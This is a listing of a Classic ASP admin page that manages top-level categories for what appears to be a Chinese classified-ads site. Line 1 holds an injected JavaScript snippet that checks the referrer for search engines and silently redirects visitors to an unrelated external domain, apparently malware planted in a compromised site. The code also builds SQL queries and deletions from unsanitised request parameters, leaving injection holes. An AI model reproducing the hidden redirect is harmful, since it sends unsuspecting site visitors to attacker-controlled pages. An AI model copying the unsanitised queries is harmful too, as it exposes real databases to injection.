d:\wwwroot\wuchunhua\admin\typeedit.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <%if session("china_admin")="" then
003: response.redirect "login.asp"
004: end if%
>
005: <%dim action,id,dname
006: id=request.QueryString("id")
007: action=request.querystring("action")
008: dname=trim(request("name"))
009:
010: select case action
011: case "add"
012: set rs=server.CreateObject("adodb.recordset")
013: rs.open "select * from china_type where name='"&dname&"' and threeid=0 and twoid=0",conn,1,1
014:          if rs.EOF and rs.BOF then
015:            rs.close
016:     rs.open "select * from china_type where threeid=0 and twoid=0 order by id desc",conn,1,1
017:    if rs.eof and rs.bof then
018:    id=1
019:    else
020:     id=rs("id")+1
021:    end if
022:    rs.close
023:    rs.open "china_type",conn,1,3
024:    rs.AddNew
025: if id=0 then
026:    rs("id")=1
027:    else
028:    rs("id")=id
029:     end if
030: rs("name")=dname
031: rs("indexid")=trim(request("indexid"))
032: rs("indexshow")=trim(request("indexshow"))
033: if request("colorshow")="1" then
034: rs("trcolor")="#ffe8e8"
035: rs("tdcolor")="#dd91a5"
036: rs("titlecolor")="#000000"
037: rs("telcolor")="#ff0000"
038: end if
039: if request("colorshow")="2" then
040: rs("trcolor")="#ffe8e8"
041: rs("tdcolor")="#dd91a5"
042: rs("titlecolor")="#ffffff"
043: rs("telcolor")="#ff0000"
044: end if
045: if request("colorshow")="3" then
046: rs("trcolor")="#ffe8e8"
047: rs("tdcolor")="#dd91a5"
048: rs("titlecolor")="#990000"
049: rs("telcolor")="#ff0000"
050: end if
051: if request("colorshow")="4" then
052: rs("trcolor")="#f7ffe1"
053: rs("tdcolor")="#92dcb9"
054: rs("titlecolor")="#009900"
055: rs("telcolor")="#246838"
056: end if
057: if request("colorshow")="5" then
058: rs("trcolor")="#e6faff"
059: rs("tdcolor")="#91b9dd"
060: rs("titlecolor")="#0066cc"
061: rs("telcolor")="#0066cc"
062: end if
063: if request("colorshow")="6" then
064: rs("trcolor")="#ffe1fb"
065: rs("tdcolor")="#b021c5"
066: rs("titlecolor")="#cc33cc"
067: rs("telcolor")="#990099"
068: end if
069: rs.Update
070: rs.Close
071: set rs=nothing
072: else
073: response.write "<script>window.alert('你输入的一级目录名称:"&dname&"已经有了!');history.go(-1);</script>"
074:     
075: end if
076: case "edit"
077: set rs=server.CreateObject("adodb.recordset")
078: rs.open "select * from china_type where twoid=0 and id="&id,conn,1,3
079: yname=rs("name")
080: rs("name")=dname
081: rs("indexid")=trim(request("indexid"))
082: rs("indexshow")=trim(request("indexshow"))
083: if request("colorshow")="1" then
084: rs("trcolor")="#ffe8e8"
085: rs("tdcolor")="#dd91a5"
086: rs("titlecolor")="#000000"
087: rs("telcolor")="#ff0000"
088: end if
089: if request("colorshow")="2" then
090: rs("trcolor")="#ffe8e8"
091: rs("tdcolor")="#dd91a5"
092: rs("titlecolor")="#ffffff"
093: rs("telcolor")="#ff0000"
094: end if
095: if request("colorshow")="3" then
096: rs("trcolor")="#ffe8e8"
097: rs("tdcolor")="#dd91a5"
098: rs("titlecolor")="#990000"
099: rs("telcolor")="#ff0000"
100: end if
101: if request("colorshow")="4" then
102: rs("trcolor")="#f7ffe1"
103: rs("tdcolor")="#92dcb9"
104: rs("titlecolor")="#009900"
105: rs("telcolor")="#246838"
106: end if
107: if request("colorshow")="5" then
108: rs("trcolor")="#e6faff"
109: rs("tdcolor")="#91b9dd"
110: rs("titlecolor")="#0066cc"
111: rs("telcolor")="#0066cc"
112: end if
113: if request("colorshow")="6" then
114: rs("trcolor")="#ffe1fb"
115: rs("tdcolor")="#b021c5"
116: rs("titlecolor")="#cc33cc"
117: rs("telcolor")="#990099"
118: end if
119: rs.Update
120: rs.Close
121: set rs=nothing
122: sql="update china_data set type_one='"&dname&"' where type_oneid="&id&" and type_twoid=0"
123: conn.execute sql
124:
125: case "del"
126: set rs=server.CreateObject("adodb.recordset")
127: conn.execute ("delete from china_type where id="&id&"")
128: sql="select * from china_data where type_oneid = "&id&""
129: set rs=server.createobject("adodb.recordset")
130: rs.open sql,conn,3,2
131: Set fdel = CreateObject("Scripting.FileSystemObject")  
132: if not rs.eof then
133: For iPage = 1 To rs.recordcount
134: adid=rs("adid")
135: pic=rs("pic")
136: rs.delete
137: rs.update
138: sql1="delete from china_message where adid ="&adid&""    
139: conn.execute(sql1)
140: rs.movenext  
141:    '''''''''''删除html开始''''''''''''''''
142:
143:               tempImageDir = Server.MapPath("../html/"&adid&".htm")
144:                 fdel.DeleteFile(tempImageDir)
145:              if pic<>"" and lcase(left(pic,7))<>"http://" then
146:              fdel.DeleteFile(Server.MapPath("../adpic/"&pic&""))
147:              end if
148:             
149: '''''''''''删除html结束'''''''''''''''
150: if rs.eof then exit for
151: next
152: set fdel=nothing
153: rs.close  
154: set rs=nothing                                
155: end if
156: conn.close  
157: set conn=nothing
158: response.Redirect "typeedit.asp"
159: end select
160: %
>
161: <html>
162: <head>
163: <link rel="stylesheet" type="text/css" href="style.css">
164: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
165: <meta name="GENERATOR" content="Microsoft FrontPage 4.0">
166: <meta name="ProgId" content="FrontPage.Editor.Document">
167: <title>分类管理</title>
168: </head>
169:
170: <body background="images/background.gif">
171: <table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
172:   <tr>
173:     <td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">一&nbsp;级&nbsp;分 类 栏&nbsp;目&nbsp;管 理</font></td>
174:   </tr>
175:   <tr>
176:     <td bgcolor="#FFFFFF"> &nbsp;首页 <br>
177:    <table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
178:         <tr align="center" bgcolor="#FFFFFF" height="20">
179:           <td width="30">编号</td>
180:           <td>分类名称</td>
181:           <td>显示顺序</td>
182:           <td>首页显示</td>
183:           <td>首页配色</td>
184:           <td>管理操作</td>
185:         </tr>
186:         <%set rs=server.CreateObject("adodb.recordset")
187:         rs.Open "select * from china_type where twoid=0 and id>0 order by id",conn,1,1
188:         dim follows
189:         if rs.EOF and rs.BOF then
190:           response.write"<tr bgcolor=#FFFFFF><td colspan='6'><p align='center'><font color='red'>暂无分类!</font></td></tr></table><br>"
191:         follows=0
192:         else
193:         do while not rs.EOF
194:         i=i+1
195:         %
>
196:         <form name="form1" method="post" action="typeedit.asp?action=edit&id=<%=int(rs("id"))%>">
197:           <tr bgcolor="#FFFFFF" align="center">
198:         <td><%=i%></td>
199:             <td><input name="name" type="text" size="12" value="<%=trim(rs("name"))%>">
200:             &nbsp;[<a href="typeedit_two.asp?id=<%=rs("id")%>">子目录</a>]</td>
201:             <td><input name="indexid" type="text" size="2" value="<%=trim(rs("indexid"))%>"></td>
202:             <td><select name="indexshow">
203: <option value="yes" <%if rs("indexshow")="yes" then%>selected<%end if%>>显示</option>
204: <option value="no" <%if rs("indexshow")="no" then%>selected<%end if%>>隐藏</option>
205:                     </select></td>
206:             <td><select name="colorshow">
207: <option value="1" <%if rs("trcolor")="#ffe9e9" then%>selected<%end if%> style="COLOR:#000000;BACKGROUND-COLOR:#ffe8e8;">配色1</option>
208: <option value="2" <%if rs("trcolor")="#ffe8e8" then%>selected<%end if%> style="COLOR:#ffffff;BACKGROUND-COLOR:#C6C6C6;">配色2</option>
209: <option value="3" <%if rs("trcolor")="#ffe6e6" then%>selected<%end if%> style="COLOR:#990000;BACKGROUND-COLOR:#ffe7e7;">配色3</option>
210: <option value="4" <%if rs("trcolor")="#f7ffe1" then%>selected<%end if%> style="COLOR:#009900;BACKGROUND-COLOR:#f7ffe1;">配色4</option>
211: <option value="5" <%if rs("trcolor")="#e6faff" then%>selected<%end if%> style="COLOR:#0066cc;BACKGROUND-COLOR:#e6faff;">配色5</option>
212: <option value="6" <%if rs("trcolor")="#ffe1fb" then%>selected<%end if%> style="COLOR:#cc33cc;BACKGROUND-COLOR:#ffe1fb;">配色6</option>
213:                     </select></td>
214:             <td><input type="submit" name="Submit" value="修 改">
215:                 &nbsp; <input type="button" name="DEL" onclick="{if(confirm('确定要删除这个分类吗?\n将删除此分类下所有信息\n此操作不可以恢复!')){location.href='?name=<%=rs("name")%>&action=del&id=<%=rs("id")%>';}return false;}" value="删除" >
216:             </td>
217:           </tr>
218:         </form>
219:         <%
220:       rs.MoveNext
221:           loop
222:           follows=rs.RecordCount
223:           end if%
>
224:       </table>
225:    <br></td>
226:   </tr>
227: </table>
228: <br>
229: <table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
230:   <tr>
231:     <td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">添 加 一&nbsp;级&nbsp;分 类 名 称</font></td>
232:   </tr>
233:   <tr>
234:     <td bgcolor="#FFFFFF">
235:    <br>
236:    <table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
237:         <tr align="center" bgcolor="#FFFFFF" height="20">
238:           <td width="30">编号 </td>
239:           <td>分类名称</td>
240:           <td>显示顺序</td>
241:           <td>首页显示</td>
242:           <td>首页配色</td>
243:           <td>确定操作</td>
244:         </tr>
245:         <form name="form1" method="post" action="typeedit.asp?action=add">
246:           <tr align="center" bgcolor="#FFFFFF">
247:             <td><%=rs.RecordCount+1%></td>
248:            <td><input name="name" type="text" id="name" size="12"></td>
249:            <td><input name="indexid" type="text" value="0" size="2"></td>
250:            <td><select name="indexshow">
251:                 <option value="yes" selected>显示</option>
252:                 <option value="no">隐藏</option>
253:             </select></td>
254:             <td><select name="colorshow">
255:                 <option value="1" style="COLOR:#000000;BACKGROUND-COLOR:#ffe8e8;">配色1</option>
256:                 <option value="2" style="COLOR:#ffffff;BACKGROUND-COLOR:#C6C6C6;" selected>配色2</option>
257:                 <option value="3" style="COLOR:#009900;BACKGROUND-COLOR:#f7ffe1;">配色3</option>
258:                 <option value="4" style="COLOR:#009900;BACKGROUND-COLOR:#f7ffe1;">配色4</option>
259:                 <option value="5" style="COLOR:#0066cc;BACKGROUND-COLOR:#e6faff;">配色5</option>
260:                 <option value="6" style="COLOR:#cc33cc;BACKGROUND-COLOR:#ffe1fb;">配色6</option>
261:               </select></td>
262:            <td><input type="submit" name="Submit3" value="添 加"></td>
263:           </tr>
264:         </form>
265:       </table>
266:    <br></td>
267:   </tr>
268: </table>
269: </body>                                                                                                                          
270:                                                                                                                           
271: </html>  
272:
273:
274: